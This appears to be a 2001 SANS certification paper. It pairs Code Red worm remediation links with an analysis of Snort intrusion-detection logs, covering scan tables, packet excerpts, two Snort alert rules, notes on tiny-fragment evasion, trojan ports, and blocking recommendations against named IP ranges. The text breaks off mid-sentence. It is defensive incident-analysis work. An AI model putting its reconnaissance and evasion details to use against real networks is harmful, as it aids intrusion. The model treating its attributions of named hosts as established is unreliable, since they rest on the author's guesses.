eEye notified the Internet community through e-mail groups on 20 July of the release of a free program to either scan a single IP address or a Class C range of IP addresses. The scan program results in a list of vulnerable IP addresses which provide hyperlinks to get information on how to patch the vulnerable system from the .ida vulnerability and to eradicate the "Code Red" worm. This program will also install on anyone's host, so that the user can direct the scans as necessary within the local network IP range. As free tools quickly released go, there are often bugs. Thus, Gerald J. Paulino, CISSP reported to the CISSPForum via electronic mail on July 22, 2001 that there were false positives with the software, and that eEye verified that there were bugs in the freeware. For protection and eradication, the following web-sites are provided for advise, patches, and scanners. Upon loading a patch, the System Administrator mush Restart your computer to complete the installation so that the patch will load into memory properly with the IIS software, to take affect.

The free CodeRed Scanner has been developed by at eEye, http://www.eeye.com/html/Research/Tools/codered.html. It can be downloaded at: http://www.eeye.com/html/Research/Tools/CodeRedScanner.exe.

McAfee has a commercial scanner called CyberCop Wormscan. A free scan is available at http://www.mcafeeasap.com/asp_subscribe/trial_cc_wormscan.asp.

CIAC: http://www.ciac.org/ciac/bulletins/l-120.shtml
http://www.cert.org/advisories/CA-2001-19.html

Cisco:
http://www.cisco.com/warp/public/707/cisco-code-red-worm-pub.shtml
http://www.cisco.com/warp/public/707/CBOS-multiple.shtml
http://www.cisco.com/pcgi-bin/Software/Tablebuild/doftp.pl?ftpfile=cisco/voice/callmgr/win-IIS-SecurityUpdate-2.exe&swtype=FCS&code=&size=246296
http://www.cisco.com/pcgi-bin/Software/Tablebuild/doftp.pl?ftpfile=cisco/voice/callmgr/win-IIS-SecurityUpdate-Readme-2.htm&swtype=FCS&code=&size=4541
http://www.cisco.com/univercd/cc/td/doc/product/aggr/bbsm/bbsm50/urgent.htm
http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml
http://www.cisco.com/go/psirt/
http://www.cisco.com/warp/public/707/sec_incident_response.shtml

Microsoft: Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30833
Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30800
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-033.asp
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24168

Symantec:

Free Assessment Tools:
http://security1.norton.com/us/crdetect.asp?productid=sarc&langid=us&venid=sym
http://www.symantec.com/avcenter/venc/data/codered.worm.html

The SANS Institute provides the a list of sites at the top of their web page (www.sans.org) at the time of this writing, as noted in the box below. In addition, they solicited help from their GIAC graduates to create a web of knowledge to assist owners of affected IIS servers on 27 July. Supplying the volunteers with 3 "training" files, the core volunteers could assist sites and then solicit their assistance. Similar to a worm's propagation, this would create a geometrical progression of help to eventually ensure the patching of most vulnerable servers. Much slower than an automated worm, the hope is to contain the problem toward eventual elimination.

> **SANS Security Alert July 20, 2001:**Mircosoft's IIS server is vulnerable to the code red worm,
> the patch is available at:http://www.microsoft.com/technet/security/bulletin/MS01-033.asp.
>
> A clean up tool is available at:
> http://www.symantec.com/avcenter/venc/data/codered.worm.html
> A scanner to test your system is available at:
> http://www.eeye.com/html/Research/Tools/codered.html

If the patches do not work for a particular configuration, the System Administrator can remove the script mappings for .IDA and .IDC in the master properties of the WWW service to remove the worm entry point.

This section was completed on July 28 to work on sections 1 and 2; however, the worm's mutations have given rise to new issues. As of August 1 (the due date of this paper), incidents.org reports 280,391 infected hosts. The ultimate conclusion provides a moral to this story, which is to pay attention to the call to install patches. Black-hatted Internet users read the same vulnerability alerts as the white-hats, even if they were not aware of the weakness prior to the alert, and can devise worms to "test the effectiveness of the vulnerability", with potential harmful repercussions for Administrators who have not heeded the call. Another moral is to read and heed the information supplied by trusted

sources. As a member of the SANS volunteers to combat this worm, we are inundated with multiple requests for patches from people running Windows 98 and Me machines which are not vulnerable to this particular worm, as is noted in the Code Red literature.

References:

Chien, Eric, "CodeRed Worm", July 24, 2001, Symantec, http://www.symantec.com/avcenter/venc/data/codered.worm.html

Lemos, Robert, "Worm has servers seeing 'Code Red'", July 18, 2001, ZDNet News, http://www.zdnet.com/zdnn/stories/news/0,4586,5094345,00.html

Lemos, Robert, "Web Worm targets White House", July 19, 2001, CNET News.com, http://news.cnet.com/news/0-1003-200-6617292.html?tag=tp_pr

Liston, Tom, "Code Red", Posting, 20 Jul 2001 http://www.incidents.org/archives/intrusions/msg01125.html

Staff and Reports, "'Chinese' virus targets Microsoft security hole", July 20, 2001, CNN.Com, http://asia.cnn.com/2001/BUSINESS/asia/07/20/hk.codered/

Staff, "CERT Incident Note IN-2001-08: "Code Red" Worm Exploiting Buffer Overflow In IIS Indexing Service DLL", July 19, 2001, Computer Emergency Response Team Coordination Center, Carnagie Mellon, http://www.cert.org/incident_notes/IN-2001-08.html.

Staff, "CodeRed", July 17, 2001, McAfee, http://vil.nai.com/vil/virusMethodOfInfection.asp?virus_k=99142.

Staff, "Code Red Threat FAQ, version 0.1", July 30, 2001, www.incidents.org, http://www.incidents.org/react/code_red.php

Staff, "Security Update", June 18, 2001, MicroSoft, http://www.microsoft.com/ntserver/nts/downloads/critical/q300972/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D30833%26redirect%3Dno

ASSIGNMENT 3 - ANALYZE THIS!

Snort (Freeware by Martin Roesch) Data to be analyzed was logged between late January and early February 2001. The log files include Snort Scans, Snort Alerts, and Snort Out-of- Specification (OOS) reports. The naming convention used by the System Administrator does not adequately identify the dates that the logs were made, so renaming them was an initial order of business. Also, although in some cases there were duplicate files (e.g., Alert for Feb 4th), many dates were missing, which was explained as power failures and full disks. Lastly, is the difficulty to locate events of interest among false event leads, but slow meticulous sifting does reveal some nuggets of data and events that are actually incidents.

Being an NT user, I tried to use MS Excel. Excel crashed on me two times trying to load in all Alert files to one workbook for analysis. I believe it was too much data in one workbook. However, making individual Excel spreadsheets of the critical files allowed me to sort on a day-by-day basis. However, this is particularly not preferred over a SNORTSnarf analysis available to Unix/Linux users. In fact, I could only have 3 days of Alerts open at any time, with a Dell Pentium III OptiPlex GX1 with 128 Megabytes of memory. Use of SnortSnarf running on Linux would have been ideal, but after identifying the need for SNORTSnarf, I did not have time to load and configure Linux and start trying to compile and install SNORTSnarf, so Excel was my only tool.

The data files contains 6 Alert files, however one is a duplicate. The files each cover a 24 hour period for the days of January 30 and February 3, 4, 6, and 11. The following tables summarize the alerts found. Each of the tables have the same Event names, even when there were no events of a certain type for the day. Also, the number of alerts of the type and how many were from the outside coming in, and also from the inside going out are provided. The last table is a total of all the daily alert tables.

Since in some cases, Source was inside and destination was outside, I have provided columns in the following tables that show instead External to Internal (MY.NET), and Internal to External addresses. Any discrepancies to these against the total are due to internal to internal or external to external.

Jan 30, 2001

Event Name	Alerts	Ext->Int	Int->Ext
Attempted Sun RPC high port access	372	372	0
Connect to 515 from inside	0	0	0
ICMP Source and DST Outside Network	1	0	0
NMAP TCP ping!	4	4	0
Null scan!	7	7	0
Possible RAMEN server activity	62	35	27
Queso fingerprint	36	36	0
SNMP Public Access	1	0	0
Russia Dynamo - SANS Flash 28-jul-00	0	0	0
SPP Port Scans Ended	615	512	103
SUNRPC highport access!	2	2	0
SYN-FIN scan!	0	0	0
TCP SMTP Source Port traffic	2	2	0
TCP SRC and DST outside network	13	0	0
Tiny Fragments - Possible Hostile Activity	26	26	0
UDP SRC and DST outside network	23506	0	0
WinGate 1080 Attempt	61	61	0

Feb 3, 2001

Event Name	Alerts	Ext->Int	Int->Ext
Attempted Sun RPC high port access	0	0	0
Connect to 515 from inside	16	0	16
ICMP Source and DST Outside Network	4	0	0
NMAP TCP ping!	2	2	0
Null scan!	18	18	0
Possible RAMEN server activity	457	16	12
Queso fingerprint	45	45	0
Russia Dynamo - SANS Flash 28-jul-00	1	0	1
SNMP Public Access	4	0	0
SPP Port Scans Conducted	778	97	681
SUNRPC highport access!	2	2	0
SYN-FIN scan!	1	1	0
TCP SMTP Source Port traffic	1	1	0
TCP SRC and DST outside network	7	0	0
Tiny Fragments - Possible Hostile Activity	0	0	0
UDP SRC and DST outside network	33431	0	0
WinGate 1080 Attempt	35	35	0

Feb 4, 2001

Event Name	Alerts	Ext->Int	Int->Ext
Attempted Sun RPC high port access	0	0	0
Connect to 515 from inside	0	0	0
ICMP Source and DST Outside Network	3	0	0
NMAP TCP ping!	4	4	0
Null scan!	17	17	0
Possible RAMEN server activity	274	70	93
Queso fingerprint	71	71	0
Russia Dynamo - SANS Flash 28-jul-00	0	0	0
SNMP Public Access	0	0	0
SPP Port Scans Conducted	532	164	368
SUNRPC highport access!	0	0	0
SYN-FIN scan!	1	1	0
TCP SMTP Source Port traffic	1	1	0
TCP SRC and DST outside network	8	0	0
Tiny Fragments - Possible Hostile Activity	84	84	0
UDP SRC and DST outside network	35852	0	0
WinGate 1080 Attempt	44	44	0

Feb 6, 2001

Event Name	Alerts	Ext->Int	Int->Ext
Attempted Sun RPC high port access	0	0	0
Connect to 515 from inside	59	0	59
ICMP Source and DST Outside Network	2	0	0
NMAP TCP ping!	1	1	0
Null scan!	10	10	0
Possible RAMEN server activity	63	25	38
Queso fingerprint	38	38	0
Russia Dynamo - SANS Flash 28-jul-00	0	0	0
SNMP Public Access	0	0	0
SPP Port Scans Conducted	537	142	395
SUNRPC highport access!	0	0	0
SYN-FIN scan!	1,109	1,109	0
TCP SMTP Source Port traffic	0	0	0
TCP SRC and DST outside network	8	0	0
Tiny Fragments - Possible Hostile Activity	1	1	0
UDP SRC and DST outside network	28,619	0	0
WinGate 1080 Attempt	30	30	0

Feb 11, 2001

Event Name	Alerts	Ext->Int	Int->Ext
Attempted Sun RPC high port access	134	134	0
Connect to 515 from inside	515	0	515
ICMP Source and DST Outside Network	9	0	0
NMAP TCP ping!	1	1	0
Null scan!	20	20	0
Possible RAMEN server activity	2,923	1,832	1,091
Queso fingerprint	20	20	0
Russia Dynamo - SANS Flash 28-jul-00	0	0	0
SNMP Public Access	0	0	0
SPP Port Scans Conducted	571	164	407
SUNRPC highport access!	0	0	0
SYN-FIN scan!	1	1	0
TCP SMTP Source Port traffic	0	0	0
TCP SRC and DST outside network	24	0	0
Tiny Fragments - Possible Hostile Activity	0	0	0
UDP SRC and DST outside network	26,838	0	0
WinGate 1080 Attempt	21	21	0

Total Alerts

Event Name	Alerts	Ext->Int	Int->Ext
Attempted Sun RPC high port access	506	506	0
Connect to 515 from inside	590	0	590
ICMP Source and DST Outside Network	19	0	0
NMAP TCP ping!	12	12	0
Null scan!	72	72	0
Possible RAMEN server activity	3,779	1,978	1,231
Queso fingerprint	210	210	0
Russia Dynamo - SANS Flash 28-jul-00	1	1	0
SNMP Public Access	5	0	0
SPP Port Scans Conducted	3,033	1,079	1,954
SUNRPC highport access!	4	4	0
SYN-FIN scan!	1,112	1,112	0
TCP SMTP Source Port traffic	4	4	0
TCP SRC and DST outside network	60	0	0
Tiny Fragments - Possible Hostile Activity	111	111	0
UDP SRC and DST outside network	148,246	0	0
WinGate 1080 Attempt	191	191	0

Analysis of the Alert Activity:

Attempted Sun RPC high port access: Remote Procedure Calls are extremely vulnerable, and are identified as number 3 of the SANS Ten Most Critical Internet Security Threats (http://www.sans.org/topten.htm). SANS describes RPC vulnerabilities generally:

> *Remote procedure calls (RPC) allow programs on one computer to execute programs on a second computer. They are widely-used to access network services such as shared files in NFS. Multiple vulnerabilities caused by flaws in RPC, are being actively exploited. There is compelling evidence that the vast majority of the distributed denial of service attacks launched during 1999 and early 2000 were executed by systems that had been victimized because they had the RPC vulnerabilities. The broadly successful attack on U.S. military systems during the Solar Sunrise incident also exploited an RPC flaw found on hundreds of Department of Defense systems.*

The alert rules would look like the following (derived from http://www.clark.net/~roesch/misc-lib):

alert tcp any any -> $MY.NET 32771 (msg: "Attempted Sun RPC high port access";)
alert udp any any -> $MY.NET 32771 (msg: "Attempted Sun RPC high port access";)

Connect to 515 from inside: Port 515 is a vulnerable TCP printer port (http://www.linux-firewall-tools.com/linux/ports.html). While the purposes for the identified MY.NET internal-to-external accesses on port 515 are unknown, the owners of the Ips might be queried as to the business purposes. Port 515 is associated with use_syslog() function format string vulnerabilities LPR_LPRNG-REDHAT7-OVERFLOW-RDC and LPR_LPRNG-REDHAT7-OVERFLOW-SECURITY.IS, which are detailed at www.whitehats.com.

SRC and DST Outside Network:

Events from external to external addresses, picked up by the sensor.

NMap TCP Ping!
Nmap is a very powerful scanning tool to identify active hosts in a network, wht ports they have open, what operating system the host is employing, firewall information, and other intrusive measures that can assist in identifying or narrowing the possible vulnerabilities that may be used by an attacker to access hosts. (description derived from http://www.nmap.org/nmap/index.html#intro).

nMap Alert events. Domain contacts provided by www.arin.net (Whois). Port 53 is DNS.

Date	Counts	Source IP	Target IP	Port	Domain SysAdmin E-Mail
Jan 30	3	192.102.197.234	MY.NET.1.8	53	sedayao@ORPHEUS.SC.INTEL.COM
Jan 30	1	208.5.219.131	MY.NET.1.8	53	NOC@SPRINT.NET
Feb 3	1	12.40.36.194	MY.NET.1.5	53	help@IP.ATT.NET
Feb 3	1	63.119.91.2	MY.NET.1.3	53	help@uu.net
Feb 4	1	2.2.2.2 (Crafted)	MY.NET.1.5	53	res-ip@iana.org
Feb 4	2	63.119.91.2	MY.NET.1.3	53	help@uu.net
Feb 4	1	63.119.91.2	MY.NET.110.39	25	help@uu.net
Feb 6	1	194.133.58.129	MY.NET.1.5	53	hostmaster@oleane.net
Feb 11	1	192.102.197.234	MY.NET.1.8	53	sedayao@ORPHEUS.SC.INTEL.COM

Null scan!:

Alerts have been noted for null scan show TCP packets without any flags set. This non-normal occurrence may be caused by packet corruption, but more likely they are caused by specifically crafted packets. Destination addresses should be looked at closely for signs of compromise.

Date	Source	Src Port	Target	Dest Prt
Jan 30	63.253.226.133	12288	MY.NET.210.66	0
Jan 30	62.29.70.109	12849	MY.NET.221.50	13105
Jan 30	212.47.211.11	13430	MY.NET.206.54	4374
Jan 30	24.67.220.137	1772	MY.NET.209.138	2340
Jan 30	195.77.212.71	3592	MY.NET.204.102	6688
Jan 30	24.9.203.188	63602	MY.NET.165.129	427
Jan 30	24.9.203.188	63602	MY.NET.165.129	427
Jan 30	63.253.226.133	12288	MY.NET.210.66	0
Jan 30	62.29.70.109	12849	MY.NET.221.50	13105
Jan 30	212.47.211.11	13430	MY.NET.206.54	4374
Feb 3	209.156.50.86	0	MY.NET.5.29	0
Feb 3	209.252.95.40	0	MY.NET.210.118	0
Feb 3	209.255.160.185	0	MY.NET.219.250	0

Feb 3	209.255.181.76	0	MY.NET.60.8	0
Feb 3	209.255.213.217	12288	MY.NET.221.82	0
Feb 3	210.50.36.147	18245	MY.NET.210.178	21504
Feb 3	212.139.34.136	18245	MY.NET.209.210	21504
Feb 3	213.47.184.236	1083	MY.NET.219.238	6688
Feb 3	216.51.105.10	12288	MY.NET.203.6	0
Feb 3	24.180.66.185	1121	MY.NET.201.234	900
Feb 3	24.180.66.185	1119	MY.NET.201.234	900
Feb 3	63.252.93.186	65533	MY.NET.60.38	256
Feb 3	63.253.106.51	0	MY.NET.60.11	0
Feb 3	63.91.222.118	0	MY.NET.222.86	0
Feb 3	63.91.234.62	0	MY.NET.219.62	0
Feb 3	64.48.221.224	0	MY.NET.98.109	0
Feb 3	64.48.239.17	12544	MY.NET.225.150	0
Feb 3	64.48.75.35	17217	MY.NET.6.44	20545
Feb 4	129.98.118.190	3342	MY.NET.224.102	6346
Feb 4	202.92.71.227	1500	MY.NET.202.14	6699
Feb 4	209.156.50.124	0	MY.NET.5.29	0
Feb 4	209.254.238.109	0	MY.NET.179.50	0
Feb 4	212.232.32.94	0	MY.NET.221.70	0
Feb 4	213.204.138.158	12288	MY.NET.211.122	0
Feb 4	24.167.72.249	2766	MY.NET.224.102	6346
Feb 4	62.59.138.146	18245	MY.NET.207.42	21504
Feb 4	63.252.119.17	65531	MY.NET.60.8	6144
Feb 4	63.252.93.183	65532	MY.NET.60.38	8960
Feb 4	63.252.95.34	65531	MY.NET.60.8	6144
Feb 4	63.253.105.248	65531	MY.NET.60.11	6144
Feb 4	63.253.106.8	0	MY.NET.60.38	0
Feb 4	63.253.136.41	65532	MY.NET.60.11	8960
Feb 4	63.91.244.71	21843	MY.NET.223.210	17746
Feb 4	65.2.140.248	1450	MY.NET.223.14	6688
Feb 4	66.27.9.70	3216	MY.NET.224.102	6346
Feb 6	128.61.39.84	6699	MY.NET.212.42	1794
Feb 6	130.111.152.76	6699	MY.NET.182.40	1527
Feb 6	130.83.217.180	4051	MY.NET.211.74	6346
Feb 6	131.155.227.132	3054	MY.NET.220.14	4999
Feb 6	131.155.227.236	4783	MY.NET.220.14	2514
Feb 6	209.255.181.63	0	MY.NET.5.29	0
Feb 6	24.10.1.67	1184	MY.NET.211.74	6346
Feb 6	24.141.128.226	411	MY.NET.208.218	1083
Feb 6	63.255.0.30	18245	MY.NET.214.22	21504
Feb 6	65.0.74.188	4161	MY.NET.202.94	6699
Feb 11	128.40.224.18	4141	MY.NET.211.74	6346
Feb 11	128.40.224.18	4141	MY.NET.211.74	6346
Feb 11	195.242.112.99	12288	MY.NET.201.70	0

Feb 11	195.38.204.151	6700	MY.NET.203.170	4924
Feb 11	203.106.87.77	18245	MY.NET.218.190	21504
Feb 11	209.156.50.57	65531	MY.NET.60.8	6144
Feb 11	213.64.56.185	2619	MY.NET.211.74	6346
Feb 11	216.50.249.154	1024	MY.NET.98.114	0
Feb 11	217.80.83.127	1025	MY.NET.211.74	6346
Feb 11	24.17.73.154	1592	MY.NET.211.74	6346
Feb 11	24.17.73.154	1592	MY.NET.211.74	6346
Feb 11	24.185.223.19	3912	MY.NET.201.254	6688
Feb 11	24.201.127.80	1135	MY.NET.201.242	76
Feb 11	24.21.31.206	1561	MY.NET.205.214	6688
Feb 11	24.23.120.18	4021	MY.NET.211.74	6346
Feb 11	62.180.210.55	0	MY.NET.201.234	0
Feb 11	63.253.104.172	0	MY.NET.60.11	0
Feb 11	63.253.106.27	0	MY.NET.60.8	0
Feb 11	63.91.237.227	21843	MY.NET.178.42	17746
Feb 11	64.48.75.1	17217	MY.NET.6.39	20545

The criticality of these scans may be viewed from the vulnerabilities that the destination port provides. (Analysis below using resources: sourceforge.net, www.whitehats.com, www.doshelp.com/trojanports.htm, www.linux-firewall-tools.com/linux/ports.html, www.simovits.com/trojans/trojans.html.)

Twenty-four of the alerts had an improper (reserved) target port of zero "0". Sixteen of these originated form sources using the source port of zero "0". Most of the others (6), no matter what source IP address, primarily came from source port 12288. It's too coincidental, but I can find no reference for the reason for this. Therefore it leads me to believe that scans from these addresses are most likely crafted using a nMap script that defaults to this port. The ones with the zero ports, result in the same conclusion. There are also 5 scans originating in relatively dispersed source addresses, all using source port 18245 and scanning port 21505, also leading the the conclusion of probably scripted defaults, within nMap.

We see 12 instances of target port 6346 on multiple days from multiple sources. This may be scripted: This port has a vulnerability of being an open Gnutella client for an open network.

A lot of these scans came from 63.253.x.x, as well as other 63.x.x.x and 64.x.x.x domains. Also from 209.x.x.x networks. There were also quite a few from the 24.x.x.x Class A space.

Possible RAMEN Server Activity: Ramen is a Worm that attacks particular (Redhat) Linux hosts. MY.NET hosts sending these packets should be checked immediately for compromise and malicious software.

Port 27374 was determined to be the most sought-after port on the MY.NET network. This port is associated with Sub-Seven version 2.1. This was noted not only for external addresses seeking our network, but also from our network to external sources, which is an issue that should be managed before MY.NET clients end up in corporate espionage charges or similar, due to the capabilities of Sub-Seven.

On Jan 30, there were 35 alerts from external hosts sending to MY.NET hosts, and in the case of 30 of these, the packets were destined for port 27374. Ten of these 30 originated at 134.29.48.235, as the "Possible RAMEN Offender of the Day".

On Feb 3, there were 16 alerts from external to internal addresses, all for destination port 27374. Address 172.161.137.69 (America Online) with 3 hits was the offender of the day. Its communications with MY.NET.213.58 led to our host's response to 172.161.137.69 on the 27374 port. There were also three IP source pairs, the other alerts were one-time events. MY.NET.253.12 was actually the true offender of the day with 424 port 27374 alerts against 424 other MY.NET hosts. This host should be immediately checked for the presence of malicious software.

On Feb 4 there were 70 alerts of this type from the outside coming in to MY.NET. . IP 203.79.69.182 had 9 hits. IP 203.106.99.237 had 8 hits. IP 24.23.131.82 had another 6 hits and 139.134.228.220 had 3. All these were significant in quantity, but 24.48.121.105 (ADELPHIA-CABLE, Contact: ipadmin@adelphia.net) had 13 hits, and therefore is the offender of the day. MY.NET addresses in the list should be looked at for malicious code, for example, there were 34 external Possible RAMEN contacts to MY.NET.225.66, it in turn sent out 57 alerted packets all to external destination hosts at port 27374.

On Feb 6 there were 25 alerts from outside sources to MY.NET hosts' port 27374. The biggest offender of the day had 3 hits, and was 64.161.92.187 (Pacific Bell Internet Services, Contact: ip-admin@PBI.NET). The nine internal hosts sending out similar packets had mostly been contacted by the external addresses, and should be checked for malicious software infestation.

On Feb 11th, of the 1,832 originating from external addresses targeting local addresses, 1,819 of these came from 24.48.226.183, owned by Adelphia Cable Communications, (Contact e-mail: ipadmin@adelphia.net). It was most likely scripted, as the destination port was always 27374, and the entire 1,819 packets were sent in 18 minutes.

Queso Fingerprinting: As described in http://www.whitehats.com/IDS/29, Queso is a tool for remotely identifying the operating system of a host, presumably for reconnaissance purposes. The source identifies that there is a degree of probability of false positives.

On Jan 30, there were 36 Queso Fingerprint alerts. 32 came from the 141.30.228.x subnet (NET-TULNET, Contact: wuensch@URZ.TU-DRESDEN.DE), primarily to port 6346 which is associated with an open Gnutella client.

On Feb 3, there were 45 events of this type, 34 from the 141.30.228.x subnet, mostly going to destination ports 6355 and 6346. This pattern may be due to scripted code.

On Feb 4, there were 71 alerts, of these, 62 came from the 141.30.228.x subnet, mostly going to MY.NET hosts at ports 6346 and 6355.

Note: a series of OOS TCP hits were logged on this day from this address range, with the configuration below, to many ephemeral ports, including 6688. Likely Napster-related.

```
02/04-03:34:03.668961 141.30.228.199:3714 -> MY.NET.203.50:6346
TCP TTL:51 TOS:0x0 ID:0  DF
21S***** Seq: 0x45BAEA47   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 229559323 0 EOL EOL EOL EOL
```

On Feb 6, 31 of the 38 logged events came from hosts on the (again) 141.30.228.x subnet primarily to port 6346 on local hosts MY.NET211.74 and 217.242. Interestingly, a single Queso fingerprint came from 62.155.143.10 to, again MY.NET.211.74.

Note: the OOS TCP hits continued today for 141.30.228.x. In addition OOS File for this day has two OS-fingerprinting type "XMAS" packets, as depicted in the example below:

```
02/06-21:20:38.776922 62.155.143.10:3333 -> MY.NET.211.74:1
TCP TTL:118 TOS:0x0 ID:18137  DF
21SFRPAU Seq: 0x18CA0132   Ack: 0x5906DB2C   Win: 0x5018
TCP Options => EOL EOL
```

On Feb 11, Eight of the 20 logged events came from 141.30.228.x subnet (see contact above), 7 of them from the ".43" host looking primarily at port 6346.

RECOMMENDATION: Block 6346 port. Block access from the 141.30.228.x subnet.

Russia Dynamo – SANS Flash 28-Jul-00: Looking at the packets associated with this alert. The one instance provided in the Alert files appears to be related to the Gnutella open client port. It was made on Feb 3, outgoing from MY.NET.203.50 port 6346 to 194.87.6.79, port 1791.

SNMP public access:

SNMP can be used as a network monitoring system but it can also be used to gather information about systems through the snmpget command.

There were only 5 known alerts for this, one on January 30 and the rest on February 3, all between internal hosts. The one in January was from MY.NET.70.42 on port 2155 to MY.NET.50.154, port 161 (SNMP). On Feb 3, two were from MY.NET.111.156 to

MY.NET.50.154, port 161, and the other two were from MY.NET.70.42 to MY.NET.50.154, again port 161.

This rule would appear similar to:
alert udp any any -> $MY.NET 161 (msg: "SNMP public access"; content:"public";)

SUN RPC high-port access! This alert is based on confirmed access to a local host on port 32771**. Immediate action to lock the potentially compromised systems down is required**. There were 4 instances of this in the alert files. There were two occurrences on January 30, one from 200.233.81.12 ("Comite Gestor da Internet no Brasil", Contact: blkadm@registro.br) connecting to MY.NET.60.17. and the other from 24.9.203.188 (@HOME network, Contact: noc-abuse@noc.home.net) connecting to MY.NET.165.129. The other 2 occurrences were on February 3rd. Both were from 205.188.5.157 (America Online, Contact: domains@AOL.NET) connecting to MY.NET.98.227.

Note that there were source and destination traffic on port 138 from 10.10.10.1 addresses.

SYN-FIN Scans: There are particularly dangerous mapping scans for reconnaissance of a network. Consideration should be given to blocking access from the source IP addresses. There were 1,112 of these scans logged in the 5 days of logged alerts. There was none on January 30, and only one on February 3rd. This came from 209.255.180.130 and scanned MY.NET.5.29 on port 259. The one of February 4th was from 24.50.25.5, coming from the Napster-associated port 6699 to MY.NET.211.122 on port 1415. The real alert comes on February 6th, when 211.248.112.67 (from Asia Pacific Network Information Center, Korea Network Information Center address block; Contact: hostmaster@nic.or.kr) uses Syn-Fin to reconnoiter for open DNS access (port 53) on a total of 1,108 MY.NET hosts. **This source IP should be blocked, and the range added to the Watchlist.** The 6th, there was one additional scan of MY.NET.5.29, port 442 from 63.252.15.242. ON February 11, there was one scan from 4.35.4.244 to MY.NET.211.74, port 6346, (again, open client port associated with Gnutella).

TCP SMTP Source Port Traffic. Various SMTP (port 25) incoming traffic from odd locations, mark this alert. On January 30, incoming IPs were 11.235.218.156 and 17.135.218.56, both to MY.NET.60.17. Although the two incoming addresses are different, they are alarmingly similar, being only 3 characters different. Therefore, there is a likelihood that one or both were forged. On February 3rd, the one instance was from 195.211.49.18 to MY.NET.139.54. On February 4th, the one instance was from 200.251.185.30 to MY.NET.158.238.

Tiny Fragments - Possible Hostile Activity. Fragmented IP addresses into tiny fragments such that the IP header may be fragmented allows an attacker to potentially get past IDS sensors and firewalls that do not buffer the previous packet and thus since it didn't meet the rule-set criteria for being shunned, it is passed, and

thus the following packets are passed. Following packets may even overwrite destination ports that might, if it had been a full packet, have been stopped by the rule-sets. This alert type should be carefully reviewed and appropriate reporting, shunning, and/or filtering action be made.

There were no instances on February 3rd or 11th. There were 26 Instances on January 30, a whopping 84 instances on Feb 4th and one on Feb 6th.

> January Tiny Fragments: Summarized in the table below, this is very probable malicious activity, particularly from highly likely-crafted IP 111.111.111.111 and 127.0.0.1 (which somehow seems to have managed to arrive to pass by the IDS sensor). However, it did also arrive about during the same minute as the 111.111.111.111 addresses, targeting the same MY.NET host… doubtless malicious activity. The targeted host should be examined for malicious activity and a personal computer firewall placed on it, or if it is a UNIX-like host, then security log and Tripwire files reviewed closely. The 61 and 202 addresses are from the Asian Pacific block. The 202.x.x.x addresses are specifically from CHINANET Zhejiang Province network and from the Tsinghua Network Services, China.

JAN 30

QUANTITY	TIMEs	SOURCE	DESTINATION
2	12:50 / 12:52	111.111.111.111	MY.NET.20.10
1	12.52	127.0.0.1	MY.NET.20.10
2	18:01	202.101.43.220	MY.NET.1.10
6	varies	202.205.5.10	MY.NET.1.8
3	16:53 and 19:24	202.96.96.3	MY.NET.1.8
2	08:14:16	202.96.96.3	MY.NET.1.10
1	16:37	210.12.160.130	MY.NET.1.8
2	17:01 and 20:22	61.134.9.133	MY.NET.1.8
1	14:59	61.134.9.134	MY.NET.1.8
2	15:18	61.134.61.68	MY.NET.1.8
1	15:02	61.140.75.3	MY.NET.1.8
2	00:35	61.140.75.5	MY.NET.1.10
1	09:43	61.155.13.3	MY.NET.1.10

February 4th Tiny Fragment attacks (summarized below) at 02:50 began with five occurrences from 64.80.88.99 all targeting MY.NET.206.254. Then, another three from 64.80.90.84 between 10:08 and 10:21 and the two from 64.80.90.55 occurred at 15:51, all targeting MY.NET.160.109. There was also a bolder 73 instances from 64.80.90.36 targeting MY.NET.98.117 in rather quick succession between 18:12 and 18:31. This is not to mention the single event from 64.80.89.149 to MY.NET.206.58. Based on the time differentials between the occurrences and the different addresses, I believe it is a single bad-guy coming from a network using address

translation at the gateway. However, it may be DHCP assignment of addresses, and the attacker is simply logging on and off, but I believe it is the former. CollegePark/KnightsCourt of Orlando owns the whole block from 64.80.88.0 to 64.80.93.255, Contact is Brian Darby at bdarby@campuslink.com. **Recommend that the attacker's network be contacted for local action, and that the 64.80.88.0 though 64.80.90.255 address block be temporarily blocked.**

FEB 4

QUANTITY	TIMEs	SOURCE	DESTINATION
5	02:50	64.80.88.99	MY.NET.206.254
3	10:08 and 10:21	64.80.90.84	MY.NET.160.109
1	11:44	64.80.89.149	MY.NET.206.58
2	15:51	64.80.90.55	MY.NET.160.109
73	18:12-18:31	64.80.90.36	MY.NET.98.117

On February 6th, there was only one Tiny Fragment Attack, again from 64.80.89.149, the same subnet as bombarded MY.NET on the 4th. This attack was against MY.NET.228.10 at 09:10. The recommendation above applies.

Watchlists:

There was a lot of traffic coming from Reseaux IP European Network Co-ordination Centre Singel addresses, particularly 212.179.79.2, which appears to be static, since it is a recurring address communicating with MY.NET.217.98, .97.30, .97.62, and .221.162.

January 30th was slow, with nine Watchlist 000222 packets, one from 212.179.51.114 and eight from 159.226.x.x addresses, all attempting to access MY.NET.60.17, and all in the 14 minutes between 14:24 and 14:38.

The February 3rd Watchlist 000220 identified 81 packets sent by 212.179.27.6 to port 6699 of MY.NET.204.78. in 2 minutes. From that network, there was and additional two from 212.179.42.76 to MY.NET.221.114, as well as two from 212.179.79.2 to MY.NET.224.126 and .98.185. There were also 8 alerts from the 159.266.x.x network to MY.NET.100.230, 253.43 and 253.51.

The February 4th 000220 Watchlist received 13 alerts from 212.179.79.2 with 11 of them for destination of MY.NET.97.62 port 4511 and two for MY.NET.221.162 port 4879. There was also one alert from 159.226.47.217 for MY.NET.6.34 on port 25.

February 6th diverged from this character with a total of 3,155 Watchlist alerts, but a pattern emerged for port 6699. 2,186 of these Watchlist alerts all came from 212.179.40.132's communications with port 6699 (NAPSTER-related) on MY.NET.225.186 between 06:00 and 08:00 in the morning. 262 more alerts from 212.179.79.2 to MY.NET.97.30 port 4116 and to MY.NET.217.98 port 4222 at about

